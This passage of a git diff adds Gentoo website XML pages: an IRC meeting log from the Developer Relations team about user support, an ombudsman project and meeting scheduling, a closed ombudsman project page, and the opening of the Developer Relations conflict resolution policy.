+<br/>Jul 23 19:56:37 &lt;tberman&gt;	exactly, +m prevents that
+<br/>Jul 23 19:56:48 &lt;spyderous&gt;	otoh, if it's a development-related question from a user, doesn't it belong in -dev?
+<br/>Jul 23 19:57:03 &lt;klieber&gt;	spyderous: isn't that why we can all selectively +v users?
+<br/>Jul 23 19:57:26 &lt;avenj&gt;	spyderous: more often it's &quot;kde is segfaulting, can someone help me?&quot; or along those lines
+<br/>Jul 23 19:57:52 &lt;g2boojum&gt;	spyderous: We also do have a completely open gentoo-dev mailing list.
+<br/>Jul 23 19:57:54 &lt;Stuart&gt;	y'know, when businesses want to know what the customer experience is, they have two main tools at their disposal
+<br/>Jul 23 19:57:55 &lt;spyderous&gt;	i would like to discover a way to emphasize that -dev is for development issues
+<br/>Jul 23 19:57:59 &lt;spyderous&gt;	just like the mailing list, g2boojum
+<br/>Jul 23 19:58:06 &lt;tberman&gt;	see, however, devs use it for the same thing, so its somewhat a bit hypocritical to say no users can use it for tech support, but devs can
+<br/>Jul 23 19:58:07 &lt;spyderous&gt;	rarely do -user questions come on -dev
+<br/>Jul 23 19:58:09 &lt;spyderous&gt;	people figure it out
+<br/>Jul 23 19:58:10 &lt;tberman&gt;	i admit i do it as well
+<br/>Jul 23 19:58:14 &lt;Stuart&gt;	one is market research - polls, invited forums etc
+<br/>Jul 23 19:58:19 &lt;Stuart&gt;	the other is usability testing
+<br/>Jul 23 19:58:43 &lt;Stuart&gt;	gentoo, as far as I can tell, doesn't really do either
+<br/>Jul 23 19:58:55 &lt;Stuart&gt;	just a comment
+<br/>Jul 23 19:58:57 &lt;avenj&gt;	what's involved with 'usability testing'?
+<br/>Jul 23 19:59:06 *	avenj uses gentoo all the time - does that count? :)
+<br/>Jul 23 19:59:17 *	tberman listens to stuart, he is s-m-a-r-t ;)
+<br/>Jul 23 19:59:32 &lt;Stuart&gt;	real users are asked to try new products out.  Their feedback is recorded, as well as their actions and demeanour
+<br/>Jul 23 19:59:40 *	Stuart is not smart, just old
+<br/>Jul 23 19:59:43 &lt;g2boojum&gt;	tberman: Yes, but I can either ignore you, or answer you, and it's unlikely to stop me from seeing what other devs are saying.  If 500+ people are doing that, though....
+<br/>Jul 23 20:00:02 &lt;Stuart&gt;	we push new ebuilds out all the time
+<br/>Jul 23 20:00:08 &lt;spyderous&gt;	if we got a tighter reign on off-topic stuff in #gentoo-dev, it wouldn't be an issue.
+<br/>Jul 23 20:00:16 &lt;avenj&gt;	Stuart: isn't that what bugzilla is for?
+<br/>Jul 23 20:00:17 &lt;tberman&gt;	g2boojum: oh, i doubt i would stop, but im just pointing out
+<br/>Jul 23 20:00:23 &lt;avenj&gt;	Stuart: and why some of us monitor the forums and #gentoo for comments?
+<br/>Jul 23 20:00:31 &lt;Stuart&gt;	avenj: not really
+<br/>Jul 23 20:00:50 &lt;Stuart&gt;	avenj: how many people can be bothered to post in bugzilla when they have a problem?
+<br/>Jul 23 20:01:11 &lt;avenj&gt;	if they don't take the time to report a bug, they can't expect it to get fixed
+<br/>Jul 23 20:01:17 &lt;avenj&gt;	that seems fair enough to me
+<br/>Jul 23 20:01:20 &lt;Stuart&gt;	and the very name bugzilla implies 'bugs, faults' - there'll be people out there who think it's not for new ideas
+<br/>Jul 23 20:01:26 &lt;spyderous&gt;	how many give up because bugzilla is too complicated.
+<br/>Jul 23 20:01:26 &lt;avenj&gt;	judging by the sheer volume of new bugs, quite a few people can be bothered to post when they have a problem
+<br/>Jul 23 20:01:42 &lt;avenj&gt;	note that i also mentioned #gentoo and the forums
+<br/>Jul 23 20:01:46 &lt;avenj&gt;	which many devs read
+<br/>Jul 23 20:02:07 &lt;Stuart&gt;	I did note that
+<br/>Jul 23 20:02:08 &lt;avenj&gt;	i don't see how we could record user reactions to things other than monitoring #gentoo and the forums, which happens already
+<br/>Jul 23 20:02:29 &lt;klieber&gt;	guys -- we're talking about a lot of things here.  so many, in fact, that I lost track of what it is that we're trying to accomplish.  Can someone help me by telling me what it is we're trying to do/decide?
+<br/>Jul 23 20:02:33 &lt;Stuart&gt;	well, in the real world, they run usability labs, where people are filmed
+<br/>Jul 23 20:02:45 &lt;avenj&gt;	Stuart: buy us a lab :)
+<br/>Jul 23 20:03:00 &lt;avenj&gt;	#gentoo and the forums are effectively a usability lab, in that case
+<br/>Jul 23 20:03:17 &lt;avenj&gt;	but klieber's right, we're all over the place: what's the goal?
+<br/>Jul 23 20:03:38 &lt;Brandy&gt;	klieber: Often devs and newbie's seem to have mutually exclusive roles in Gentoo; they can seem worlds apart, but we also want to create the 'appearance' that their concerns will be dealt with by the dev community.
+<br/>Jul 23 20:03:59 &lt;klieber&gt;	Brandy: sure -- I thought that's what the purpose of this project was.
+<br/>Jul 23 20:04:09 &lt;klieber&gt;	I thought it was supposed to be a conduit
+<br/>Jul 23 20:04:14 &lt;klieber&gt;	and a filter
+<br/>Jul 23 20:04:22 &lt;Brandy&gt;	klieber: exactly.
+<br/>Jul 23 20:04:27 &lt;spyderous&gt;	i think what's missing is an official tier of people willing to help users
+<br/>Jul 23 20:04:58 &lt;g2boojum&gt;	Brandy: Actually, we want to create the reality as well as the appearance.  I think klieber's asking if there's a _specific_ proposal that we're supposed to be considering.
+<br/>Jul 23 20:05:06 &lt;klieber&gt;	indeed.
+<br/>Jul 23 20:05:34 &lt;Stuart&gt;	then I want to make such a proposal, if I may
+<br/>Jul 23 20:05:59 &lt;seemant&gt;	please
+<br/>Jul 23 20:06:04 &lt;Stuart&gt;	k - thanks
+<br/>Jul 23 20:06:15 &lt;Stuart&gt;	apologies if it's too specific and narrow for the group
+<br/>Jul 23 20:06:22 *	avenj likes specifics
+<br/>Jul 23 20:06:36 &lt;tberman&gt;	Stuart: do it in visio man, those charts were awesome
+<br/>Jul 23 20:06:52 &lt;Stuart&gt;	I want to chair a user meeting on IRC about the webapps mess - and I want it publicised in GWN well in advance
+<br/>Jul 23 20:07:11 &lt;Stuart&gt;	users who can't attend will be invited to email their opinions and suggestions instead
+<br/>Jul 23 20:07:39 &lt;spyderous&gt;	the goal?
+<br/>Jul 23 20:08:00 &lt;Stuart&gt;	the goal is to find out how our users think we should be installing webapps on their machines
+<br/>Jul 23 20:08:18 &lt;Stuart&gt;	before we go ahead and write a tonne of ebuilds to do the job
+<br/>Jul 23 20:08:37 &lt;tberman&gt;	Stuart: while i agree a level of dev-&gt;user interaction is a must, and very very good, a user irc meeting about it is the wrong way to go imo
+<br/>Jul 23 20:08:42 &lt;tberman&gt;	use the gentoo-dev mailing list
+<br/>Jul 23 20:08:46 &lt;tberman&gt;	thats what its for
+<br/>Jul 23 20:08:53 &lt;seemant&gt;	klieber: on a related note -- method said you and him had talked about a wiki (tikiwiki?) -- how far away are we from that
+<br/>Jul 23 20:08:58 &lt;tberman&gt;	and then you dont just get the corner case of users free at that time who are willing to irc
+<br/>Jul 23 20:09:10 &lt;seemant&gt;	seeing as we've gotten waaaay off the agenda anyway :/
+<br/>Jul 23 20:09:15 &lt;klieber&gt;	seemant: method was supposed to set up a proof-of-concept box while I secured some more permanent hardware.
+<br/>Jul 23 20:09:18 &lt;spyderous&gt;	ok, let me sum up my points one last time.
+<br/>Jul 23 20:09:19 &lt;spyderous&gt;	1) improved attitudes, 2) improved approachability, especially about development issues 3) simply ask devs who can to help out more 4) inform users what resources are available
+<br/>Jul 23 20:09:24 &lt;Stuart&gt;	tberman: that's why you have to run two or three different chats at different times
+<br/>Jul 23 20:09:24 &lt;spyderous&gt;	people disagreed with 2
+<br/>Jul 23 20:09:25 &lt;klieber&gt;	seemant: I think method is still working on his side of thins
+<br/>Jul 23 20:09:28 &lt;spyderous&gt;	agreed with the rest
+<br/>Jul 23 20:09:32 --&gt;	coredumb (hidden-use@212.199.104.98) has joined #gentoo-devrel
+<br/>Jul 23 20:09:49 &lt;seemant&gt;	klieber: I think php-team is working on ebuilding tikiwiki at least (I emailed them about it last night)
+<br/>Jul 23 20:09:56 &lt;klieber&gt;	seemant: cool
+<br/>Jul 23 20:10:02 &lt;Stuart&gt;	seemant: I emailed you back about tikiwiki
+<br/>Jul 23 20:10:06 &lt;seemant&gt;	Stuart: yep :)
+<br/>Jul 23 20:10:10 &lt;avenj&gt;	spyderous: i think we're looking for specifics about those items
+<br/>Jul 23 20:10:41 &lt;Stuart&gt;	seemant: I can hack something together for tikiwiki quickly, while we sort out the webapps mess
+<br/>Jul 23 20:10:48 &lt;g2boojum&gt;	Stuart, tberman: I think we can leave the methods for gathering user input up to the devs who are interested.
+<br/>Jul 23 20:11:10 &lt;Stuart&gt;	g2boojum: then you don't mind me going ahead with my proposal?
+<br/>Jul 23 20:11:35 &lt;tberman&gt;	g2boojum: true, poing :)
+<br/>Jul 23 20:11:36 &lt;tberman&gt;	er
+<br/>Jul 23 20:11:37 &lt;tberman&gt;	point
+<br/>Jul 23 20:11:38 &lt;seemant&gt;	Stuart: that would be nice
+<br/>Jul 23 20:11:40 &lt;g2boojum&gt;	Stuart: No, I certainly don't mind.  I don't think I should really have any say in the matter.
+<br/>Jul 23 20:11:49 &lt;spyderous&gt;	i didn't realize i was going to talk so much. i'll put some more specifics together and send out an email or something.
+<br/>Jul 23 20:11:59 &lt;seemant&gt;	ok, so moving on
+<br/>Jul 23 20:12:12 &lt;seemant&gt;	how are we feeling about the Conflict Resolution/Ombudsman project idea?
+<br/>Jul 23 20:12:14 &lt;seemant&gt;	klieber: ?
+<br/>Jul 23 20:12:17 &lt;tberman&gt;	i love it
+<br/>Jul 23 20:12:39 *	g2boojum won't have his page up until Friday.
+<br/>Jul 23 20:12:44 &lt;klieber&gt;	seemant: no strong opinions one way or the other.  
+<br/>Jul 23 20:13:08 &lt;seemant&gt;	klieber: can you summarise your weaker feelings?
+<br/>Jul 23 20:13:21 &lt;spyderous&gt;	g2boojum: are you able to quickly summarize the ombudsman's role? i don't remember the result of the discussion
+<br/>Jul 23 20:13:31 &lt;Brandy&gt;	I the Ombudsman a single individual, or is conflict resolution handled by a board?
+<br/>Jul 23 20:13:32 &lt;seemant&gt;	spyderous: check the GLEP
+<br/>Jul 23 20:13:36 &lt;Brandy&gt;	s/I/Is
+<br/>Jul 23 20:13:43 &lt;tberman&gt;	Brandy: you too
+<br/>Jul 23 20:14:18 &lt;klieber&gt;	seemant: same as I said before -- i'm mostly concerned with greasing squeeks and not solving the underlying issues.
+<br/>Jul 23 20:14:25 &lt;spyderous&gt;	ah, he mentioned the page wouldn't be up til friday so i thought there were changes.
+<br/>Jul 23 20:14:28 &lt;klieber&gt;	that said, I still see this position as a decent pressure valve
+<br/>Jul 23 20:14:30 &lt;g2boojum&gt;	Brandy: individual.  The ombudsman mediates.  It's the managers who have to make decisions.
+<br/>Jul 23 20:14:51 &lt;seemant&gt;	klieber: so as a pressure valve, you're ok with at least experimenting with the idea?
+<br/>Jul 23 20:14:54 &lt;klieber&gt;	sure
+<br/>Jul 23 20:15:21 &lt;seemant&gt;	g2boojum: kk, when you have page ready, lemme know and we'll move it from planned to active subproject
+<br/>Jul 23 20:15:25 &lt;seemant&gt;	that was quick :)
+<br/>Jul 23 20:15:27 &lt;g2boojum&gt;	seemant: k
+<br/>Jul 23 20:15:42 &lt;seemant&gt;	Brandy: an update on User Rel from you?
+<br/>Jul 23 20:15:44 &lt;spyderous&gt;	what's done to ensure the ombudsman has no conflicts of interest?
+<br/>Jul 23 20:16:06 &lt;tberman&gt;	spyderous: there is a backup
+<br/>Jul 23 20:16:19 &lt;Brandy&gt;	The user-rel page is up. It's rudimentary but does contain usable info
+<br/>Jul 23 20:16:33 &lt;Brandy&gt;	I'm looking at adding a FAQ this week or so
+<br/>Jul 23 20:17:27 &lt;g2boojum&gt;	Brandy: If you do, please let swift know.  If we're going to be distributing docs around the website, we need to make sure our docs team knows about them.
+<br/>Jul 23 20:17:42 &lt;avenj&gt;	i don't think the docs team should necessarily have to review everything under each top level project
+<br/>Jul 23 20:17:43 &lt;Brandy&gt;	And I'm also not sure how many devs will actually read info placed on user-rel, so I'm considering sending a weekly update of user-issues to the -dev mailing list
+<br/>Jul 23 20:17:45 &lt;avenj&gt;	there's just too much there
+<br/>Jul 23 20:18:00 &lt;avenj&gt;	but there haven't been any actual decisions on the scope of the docs project with regards to top level project documentation
+<br/>Jul 23 20:18:14 &lt;seemant&gt;	Brandy: the -dev ml update is a good idea for sure
+<br/>Jul 23 20:18:15 &lt;Brandy&gt;	g2boojum: will do - which reminds me, I'm looking at contributing to a newbie's guide to Gentoo
+<br/>Jul 23 20:18:38 &lt;g2boojum&gt;	avenj: I didn't mean they need to review it; but they need to make sure there's a link to that faq from the general faq (or some other way of easily finding it)
+<br/>Jul 23 20:18:44 &lt;avenj&gt;	g2boojum: i agree
+<br/>Jul 23 20:18:50 &lt;seemant&gt;	avenj: agreed -- where possible we should try and co-ordinate with them so they know about the docs we're bringing online
+<br/>Jul 23 20:19:10 &lt;avenj&gt;	i think we should perhaps add a section to the main docs page for top-level project documentation (links to it, that is)
+<br/>Jul 23 20:19:34 &lt;seemant&gt;	which reminds me
+<br/>Jul 23 20:19:50 &lt;seemant&gt;	klieber: any ETA on when the project pages will be click-to'able?
+<br/>Jul 23 20:20:19 &lt;klieber&gt;	seemant: pauldv is putting together an index.  as soon as that is done, we'll link to that page from the front page.
+<br/>Jul 23 20:20:34 &lt;seemant&gt;	klieber: oh excellent! thanks 
+<br/>Jul 23 20:20:36 &lt;klieber&gt;	in the managers meeting, pauldv was talking about mon. or tues.
+<br/>Jul 23 20:20:40 &lt;g2boojum&gt;	avenj: I sort-of agree.  Our top-level projects aren't necessarily intuitive for our users, so I'd prefer a more comprehensive solution.
+<br/>Jul 23 20:20:53 &lt;g2boojum&gt;	avenj: For the short-term, though, a link would be great!
+<br/>Jul 23 20:21:11 &lt;seemant&gt;	klieber: that's great news
+<br/>Jul 23 20:21:54 &lt;seemant&gt;	Brandy: GWN?
+<br/>Jul 23 20:22:41 &lt;Brandy&gt;	Where are we on announcing Dev-Rel to the userbase? I feel that User-Rel at least could be
+<br/>Jul 23 20:22:55 &lt;tberman&gt;	im wondering if someone is going to look at a potential site redesign for gentoo, imo, and its just my opinion, but the site design is pretty antiquated and difficult to deal with
+<br/>Jul 23 20:23:06 &lt;klieber&gt;	tberman: yes
+<br/>Jul 23 20:23:22 &lt;klieber&gt;	tberman: if you know of any professional graphic designers willing to donate their services, please have them contact me
+<br/>Jul 23 20:23:25 &lt;Stuart&gt;	tberman: site looks fine, but the site map needs fixing
+<br/>Jul 23 20:23:28 &lt;tberman&gt;	klieber: i do
+<br/>Jul 23 20:23:35 &lt;klieber&gt;	tberman: cool -- have them drop me a line
+<br/>Jul 23 20:23:41 &lt;seemant&gt;	anyone object to us announcing User Rel on next week's GWN then?
+<br/>Jul 23 20:23:47 &lt;klieber&gt;	tberman: daniel also knows a few people as I understand it
+<br/>Jul 23 20:23:49 &lt;tberman&gt;	klieber: he can be a pain to deal with sometimes, and a bit slow, but he will work for free, and on whatever i tell him too
+<br/>Jul 23 20:23:54 &lt;g2boojum&gt;	fine w/ me
+<br/>Jul 23 20:23:54 &lt;klieber&gt;	lol
+<br/>Jul 23 20:24:05 &lt;tberman&gt;	klieber: it will be easier for you to interface with him through me, trust me
+<br/>Jul 23 20:24:09 &lt;spyderous&gt;	sounds like a brother
+<br/>Jul 23 20:24:16 &lt;seemant&gt;	avenj: klieber: spyderous: ?
+<br/>Jul 23 20:24:17 &lt;tberman&gt;	spyderous: gah, no
+<br/>Jul 23 20:24:20 &lt;klieber&gt;	tberman: ok -- we can talk more later.
+<br/>Jul 23 20:24:20 &lt;seemant&gt;	coredumb: ?
+<br/>Jul 23 20:24:22 &lt;tberman&gt;	klieber: k
+<br/>Jul 23 20:24:23 &lt;klieber&gt;	seemant: no objections
+<br/>Jul 23 20:24:28 &lt;spyderous&gt;	sounds good
+<br/>Jul 23 20:24:30 &lt;coredumb&gt;	seemant: ok
+<br/>Jul 23 20:24:30 &lt;tberman&gt;	klieber: the issue for me is less graphics and more general interface
+<br/>Jul 23 20:24:41 &lt;avenj&gt;	seemant: no objections
+<br/>Jul 23 20:24:51 &lt;seemant&gt;	Brandy: as you say, so it will be
+<br/>Jul 23 20:24:59 &lt;Brandy&gt;	excellent :)
+<br/>Jul 23 20:25:05 &lt;seemant&gt;	thanks everyone
+<br/>Jul 23 20:25:12 &lt;seemant&gt;	sorry to have let it run over as it did
+<br/>Jul 23 20:25:15 &lt;Brandy&gt;	before we go
+<br/>Jul 23 20:25:27 &lt;Brandy&gt;	can we set up a set time for meetings?
+<br/>Jul 23 20:25:44 &lt;seemant&gt;	may as well, since we're all here
+<br/>Jul 23 20:26:06 &lt;seemant&gt;	the more restrictive people seem to be: coredumb &amp; Brandy, possibly g2boojum and klieber
+<br/>Jul 23 20:26:21 &lt;klieber&gt;	this time works well for me.
+<br/>Jul 23 20:26:23 &lt;coredumb&gt;	i'm not restrictive, just tired.. :)
+<br/>Jul 23 20:26:38 &lt;seemant&gt;	coredumb: well, I'd like to be able to accommodate something more convenient for you
+<br/>Jul 23 20:26:46 &lt;Brandy&gt;	coredumb: what's the local time?
+<br/>Jul 23 20:26:53 &lt;coredumb&gt;	03:27
+<br/>Jul 23 20:27:04 &lt;Brandy&gt;	coredumb: ouch
+<br/>Jul 23 20:27:27 &lt;spyderous&gt;	how about 2100 utc tuesdays?
+<br/>Jul 23 20:27:48 &lt;klieber&gt;	can't do that, personally
+<br/>Jul 23 20:27:54 &lt;klieber&gt;	but I'm not sure how much time I'm going to have.
+<br/>Jul 23 20:28:01 &lt;klieber&gt;	so if that works for everyone else, please go ahead with it.
+<br/>Jul 23 20:28:02 &lt;tberman&gt;	god with this utc stuff, i cant figure it out
+<br/>Jul 23 20:28:08 &lt;coredumb&gt;	hmm
+<br/>Jul 23 20:28:18 &lt;g2boojum&gt;	tberman: date -u
+<br/>Jul 23 20:28:19 &lt;tberman&gt;	5pm tuesdays eastern?
+<br/>Jul 23 20:28:31 &lt;tberman&gt;	g2boojum: yes, i know that, but then i have to still do the basic math ;p
+<br/>Jul 23 20:28:44 &lt;coredumb&gt;	midnight here
+<br/>Jul 23 20:28:48 &lt;spyderous&gt;	klieber: when can you?
+<br/>Jul 23 20:28:59 &lt;coredumb&gt;	any chance to have that on monday?
+<br/>Jul 23 20:29:16 &lt;seemant&gt;	coredumb: manager's meeting is 1800 UTC on monday
+<br/>Jul 23 20:29:25 &lt;spyderous&gt;	how about 2000 utc monday 
+<br/>Jul 23 20:29:26 &lt;klieber&gt;	spyderous: really, about all I can do is in the 0200 - 0400 UTC timeframe  in weekly meetings.
+<br/>Jul 23 20:29:27 &lt;seemant&gt;	coredumb: we can do it before or after I suppose
+<br/>Jul 23 20:29:33 *	Stuart waves goodnight
+<br/>Jul 23 20:29:35 &lt;spyderous&gt;	oh, bummer klieber
+<br/>Jul 23 20:29:37 &lt;--	Stuart (~stuart@myrddraal.demon.co.uk) has left #gentoo-devrel
+<br/>Jul 23 20:29:47 &lt;klieber&gt;	like I said -- you shouldn't schedule around me.
+<br/>Jul 23 20:30:02 &lt;coredumb&gt;	hm, is friday night (here) ok?
+<br/>Jul 23 20:30:04 &lt;seemant&gt;	klieber: eh? 02 - 04?
+<br/>Jul 23 20:30:11 &lt;seemant&gt;	klieber: aren't you in bed by then
+<br/>Jul 23 20:30:11 &lt;seemant&gt;	?
+<br/>Jul 23 20:30:15 &lt;tberman&gt;	seemant: UTC
+<br/>Jul 23 20:30:18 &lt;klieber&gt;	UTC? no
+<br/>Jul 23 20:30:21 &lt;coredumb&gt;	23UTC friday???
+<br/>Jul 23 20:30:27 &lt;coredumb&gt;	er
+<br/>Jul 23 20:30:27 &lt;spyderous&gt;	that's...10p-12a eastern?
+<br/>Jul 23 20:30:29 &lt;klieber&gt;	that's 8pm - 10pm my time
+<br/>Jul 23 20:30:30 &lt;coredumb&gt;	tooooooooo many ? :)
+<br/>Jul 23 20:30:53 &lt;seemant&gt;	klieber: oh I thought it was 10-midnight your time
+<br/>Jul 23 20:31:06 &lt;klieber&gt;	oops -- I was wrong.
+<br/>Jul 23 20:31:11 &lt;g2boojum&gt;	coredumb: My wife rather likes spending Friday nights w/ her husband.
+<br/>Jul 23 20:31:18 &lt;klieber&gt;	so I can do most things 2300 - 0100 UTC
+<br/>Jul 23 20:31:21 *	klieber hugs date -u
+<br/>Jul 23 20:31:28 &lt;seemant&gt;	g2boojum: cool, then when she's gone you can meet with us :P
+<br/>Jul 23 20:31:36 &lt;tberman&gt;	hah
+<br/>Jul 23 20:31:40 &lt;spyderous&gt;	could work wednesday
+<br/>Jul 23 20:31:40 &lt;spyderous&gt;	but way too late for coredumb, maybe Brandy too
+<br/>Jul 23 20:31:40 &lt;coredumb&gt;	hm
+<br/>Jul 23 20:31:43 &lt;coredumb&gt;	thursdays?
+<br/>Jul 23 20:31:56 &lt;seemant&gt;	Brandy: what's your free times?
+<br/>Jul 23 20:32:00 &lt;seemant&gt;	coredumb: what are yours?
+<br/>Jul 23 20:32:02 &lt;Brandy&gt;	spyderous: what time is too late for me?
+<br/>Jul 23 20:32:09 &lt;spyderous&gt;	Brandy: i have no idea.
+<br/>Jul 23 20:32:19 &lt;seemant&gt;	does 2300-0100 UTC on any weekday suit anyone?
+<br/>Jul 23 20:32:19 &lt;coredumb&gt;	seemant: depends if i work or not :)
+<br/>Jul 23 20:32:28 &lt;Brandy&gt;	I'm ok 2300-0100 UTC Sundays and Wednesdays
+<br/>Jul 23 20:32:36 &lt;g2boojum&gt;	seemant: works for me.
+<br/>Jul 23 20:32:46 &lt;coredumb&gt;	but i never work fridays, saturdays and usually not tuesdays
+<br/>Jul 23 20:33:05 &lt;spyderous&gt;	that's bad monday, and open at 2400 wednesday
+<br/>Jul 23 20:33:06 &lt;coredumb&gt;	seemant: too late usually
+<br/>Jul 23 20:33:52 &lt;seemant&gt;	klieber: lunchish hour for you on another day?
+<br/>Jul 23 20:34:27 &lt;seemant&gt;	Brandy: can you go earlier on any particular day?
+<br/>Jul 23 20:34:36 &lt;klieber&gt;	seemant: I can't do any more daily meetings -- one a week is about all I can work into my schedule.
+<br/>Jul 23 20:34:45 &lt;klieber&gt;	&quot;daily&quot; meaning during the workday for me
+<br/>Jul 23 20:34:49 &lt;seemant&gt;	klieber: understood
+<br/>Jul 23 20:35:00 &lt;Brandy&gt;	seemant: I could do 2100 - 2300 UTC any weekday
+<br/>Jul 23 20:35:09 &lt;tberman&gt;	why dont you guys try a during the weekend meeting
+<br/>Jul 23 20:35:28 &lt;coredumb&gt;	tberman: i'm trying.. :)
+<br/>Jul 23 20:35:30 &lt;spyderous&gt;	weekends are bad except sunday from about..2300 on
+<br/>Jul 23 20:35:30 &lt;tberman&gt;	like a early afternoon sunday, would be late sunday for coredumb, and early sunday for brandy (i think)
+<br/>Jul 23 20:35:43 &lt;seemant&gt;	early monday for her
+<br/>Jul 23 20:35:51 &lt;klieber&gt;	sunday is wife day for me.
+<br/>Jul 23 20:35:54 &lt;tberman&gt;	oh
+<br/>Jul 23 20:35:57 &lt;klieber&gt;	sunday evenings are generally OK.
+<br/>Jul 23 20:36:05 &lt;tberman&gt;	see, im so eastern time zone centric, i forgot about the IDL
+<br/>Jul 23 20:36:33 &lt;seemant&gt;	honestly seems like wedesday 2300 UTC is the most convenient :/
+<br/>Jul 23 20:36:36 &lt;coredumb&gt;	hrhr, here we work on sundays..
+<br/>Jul 23 20:38:15 &lt;seemant&gt;	we can try to do a lot more discussion on the mail alias though
+<br/>Jul 23 20:38:32 &lt;coredumb&gt;	hm, yea
+<br/>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/proj/en/devrel/ombudsman/index.xml b/xml/htdocs/proj/en/devrel/ombudsman/index.xml
new file mode 100644
index 00000000..d939ecb4
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/ombudsman/index.xml
@@ -0,0 +1,22 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>ombudsman</name>
+	<longname>Gentoo Linux Developer Conflict Resolution (Ombudsman)</longname>
+	<date>23 May. 2007</date>
+	<author title="Author">Grant Goodyear</author>
+	<description>
+		The Gentoo ombudsman mediates disputes between Gentoo Linux Developers.
+	</description>
+	<longdescription> 
+		<p>
+			The ombudsman project is closed and activities will be
+			carried on in Developer Relations. See
+			<uri link="http://www.gentoo.org/proj/en/devrel/policy.xml">
+			conflict resolution policy</uri> for details.
+		</p>
+	</longdescription>
+</project>
+
diff --git a/xml/htdocs/proj/en/devrel/policy.xml b/xml/htdocs/proj/en/devrel/policy.xml
new file mode 100644
index 00000000..d5c02946
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/policy.xml
@@ -0,0 +1,347 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/devrel/policy.xml">
+<title>Developer Relations Policy Guide</title>
+<author title="Author"><mail link="devrel@gentoo.org">Developer Relations</mail></author>
+
+<abstract>Developer Relations Policy Guide</abstract>
+
+<version>1.1.5</version>
+<date>2010-04-03</date>
+
+<chapter>
+<title>Conflict resolution policy</title>
+
+<section>
+<title>Introduction</title>
+<body>		
+
+<p>
+While conflicts serious enough to require Developer Relations involvement are 
+rare, it's inevitable that developers will clash to varying degrees. It's 
+essential that the Developer Relations team find fair and impartial resolutions
+to inter-developer problems. Although all situations differ and exercising 
+good judgment is necessary, these guidelines are intended to define the most 
+acceptable course of action.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>When should developer relations be involved?</title>
+<body>
+
+<p>
+Developer Relations should only be involved in a conflict when other attempts 
+to solve the issue have failed. Developers are encouraged to try to resolve the
+issue amongst themselves in a civil manner. Developers within a project 
+engaged in a personal conflict may wish to consult with the project lead. 
+Although leads are not necessarily qualified to resolve personal disputes, 
+technical issues resulting in conflict can often be resolved within the project
+without Developer Relations involvement.
+</p>
+
+<p>
+Developer Relations becomes involved when the above two methods have failed. To
+involve Developer Relations in your issue please send an email to 
+<mail>devrel@gentoo.org</mail> or open a Bug and assign it to Developer 
+Relations; either is acceptable. Please note that opening a bug is not 
+necessary for mediation, however the developer may open a bug if he/she wishes 
+to do so; opening a bug is mandatory if mediation efforts fail. Developer 
+Relations includes a team of developers who work with the conflicting parties 
+to resolve the conflict, these members are deemed mediators; the Developer 
+Relations Mediator who takes this role should make clear that he or she is 
+taking control of the conflict in order to prevent miscommunication. This does 
+not mean that the Developer Relations Mediator in control may not ask others 
+for assistance, nor that they should make a decision for the involved parties. 
+The purpose of the Mediator is to assist in mediating discussion to aid in a 
+mutually agreed upon resolution. If all attempts at mediation fail, the issue 
+is escalated and a decision will be made by majority vote of Developer 
+Relations members; this process is detailed in the Policy and Process sections 
+below.
+</p>
+
+<p> 
+Issues not necessarily related to personal conflict, such as intentional or 
+repeated policy breaches, malicious or abrasive behavior to users or 
+developers, or similar developer-specific behavioral problems should be brought
+directly to Developer Relations via <mail>devrel@gentoo.org</mail> or via a 
+Bug. These issues may bypass mediation and immediately be escalated to a vote 
+by Developer Relations for the appropriate course of disciplinary action.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Disciplinary action and resolution</title>
+
+<section>
+<title>What Action May be Taken</title>
+<body>
+
+<p>
+Disciplinary action must be decided on a case-by-case basis by Developer 
+Relations. For the majority of situations requiring disciplinary action, a 
+warning is enough to correct future behavior. If behavior does not improve, a 
+probationary period with revoked access to Gentoo infrastructure of two weeks 
+to one month is appropriate. If upon restoration of access negative behavior 
+re-occurs, removal from the project will be necessary. In extreme cases, 
+suspension or removal may be necessary upon a single offense. Except in 
+critical situations where immediate action is required, such disciplinary 
+action is determined by members of the Developer Relations project. If the 
+issue is deemed critical, the developer in question may have his or her access 
+suspended while a vote takes place. In such situations, the Developer Relations 
+lead may act without a vote of the remaining Developer Relations team; this 
+power is granted by Council. In the event of such a case, process for
+the resolution of the conflict may be bypassed altogether, a decision may be 
+made, and any disputes would then be raised to Council per the below appeal 
+process. The critical nature of an escalation may be determined by the 
+Developer Relations Lead or Infrastructure, for security-related issues, that 
+which would endanger Gentoo, or our reputation. An issue that is deemed 
+critical does not need further justification in addition to stating which of 
+the above situations it falls under.
+</p>
+
+<p> 
+Upon removing a developer, the gentoo-core mailing list should be notified. 
+Additionally, the entire Developer Relations team is informed via email of the 
+issues that led to removing or suspending a developer, and this information is 
+stored on the bug. Developers who are removed from the project may not reapply 
+for developer status without the approval of the Developer Relations lead(s).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>The Policy for Resolution of Conflicts</title>
+<body>
+
+<p>
+What kind of disputes should be escalated? 
+</p>
+
+<ul>
+<li>A dispute involving Code of Conduct, or similarly themed violations, 
+involving two or more developers.</li>
+<li>A developer whose behavior is believed to be a negative influence for the 
+Gentoo community. This includes any inappropriate action conducted by a 
+developer.</li>
+<li>Any other conflicts of a non technical nature involving two or more 
+developers.</li>
+</ul>
+
+<p>
+Any conflicts that are purely technical should be addressed to QA and they will
+be handled according to GLEP 48. If a technical issue is turned into a personal
+issue, it would then be applicable. Please note, any conflict where a
+developer wishes to report a user should be escalated to User Relations.
+</p>
+
+<p>
+Once a complaint is sent to Developer Relations, the team assumes 
+responsibility for coordinating all aspects of the complaint. The team must act
+in accordance with the following guidelines:
+</p>
+
+<p>
+Mediation efforts are not intended to be transparent to the developer 
+community. Developer Relations respects the privacy of the developers whom we 
+work with; accordingly there can and will be mediation efforts made without 
+being made public knowledge to the rest of the developer community. Regardless 
+of private or public knowledge mediation, all mediation efforts will be 
